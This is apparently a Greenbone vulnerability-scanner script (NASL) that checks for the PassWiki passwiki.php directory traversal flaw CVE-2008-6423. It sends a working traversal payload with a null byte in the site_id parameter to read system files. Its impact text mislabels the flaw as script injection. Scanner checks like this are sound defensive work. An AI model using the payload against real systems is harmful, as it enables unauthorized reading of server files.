CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:N/A:N
AI Score
Confidence
Low
EPSS
Percentile
87.6%
PassWiki is prone to a directory traversal vulnerability.
# SPDX-FileCopyrightText: 2009 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.900521");
script_version("2023-12-13T05:05:23+0000");
script_tag(name:"last_modification", value:"2023-12-13 05:05:23 +0000 (Wed, 13 Dec 2023)");
script_tag(name:"creation_date", value:"2009-03-20 07:08:52 +0100 (Fri, 20 Mar 2009)");
script_tag(name:"cvss_base", value:"5.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
script_cve_id("CVE-2008-6423");
script_name("PassWiki passwiki.php Directory Traversal Vulnerability");
script_xref(name:"URL", value:"http://secunia.com/advisories/30496");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/29455");
script_xref(name:"URL", value:"http://www.milw0rm.com/exploits/5704");
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2009 Greenbone AG");
script_family("Web application abuses");
script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "os_detection.nasl", "global_settings.nasl");
script_require_ports("Services/www", 80);
script_exclude_keys("Settings/disable_cgi_scanning");
script_tag(name:"impact", value:"Successful exploitation will allow remote attacker to inject arbitrary
web script or HTML on an affected application.");
script_tag(name:"affected", value:"PassWiki version prior to 0.9.17 on all platforms.");
script_tag(name:"insight", value:"Input validation error in site_id parameter in passwiki.php file allows
arbitrary code injection.");
script_tag(name:"solution", value:"Upgrade to version 0.9.17 or later.");
script_tag(name:"summary", value:"PassWiki is prone to a directory traversal vulnerability.");
script_tag(name:"solution_type", value:"VendorFix");
script_tag(name:"qod_type", value:"remote_app");
exit(0);
}
include("host_details.inc");
include("os_func.inc");
include("misc_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");
port = http_get_port(default:80);
if(!http_can_host_php(port:port))
exit(0);
files = traversal_files();
foreach dir (make_list_unique("/passwiki", http_cgi_dirs(port:port))) {
if(dir == "/") dir = "";
sndReq = http_get(item:dir + "/passwiki.php", port:port);
rcvRes = http_keepalive_send_recv(port:port, data:sndReq);
if("PassWiki" >!< rcvRes) {
rcvRes = http_get_cache(item:dir + "/index.php", port:port);
}
if("PassWiki" >< rcvRes) {
foreach file(keys(files)) {
url = dir + "/passwiki.php?site_id=../../../" +
"../../../../../../../../../" + files[file] + "%00";
if( http_vuln_check(port:port, url:url, pattern:file)) {
report = http_report_vuln_url(port:port, url:url);
security_message(port:port, data:report);
exit(0);
}
}
}
}
exit(99);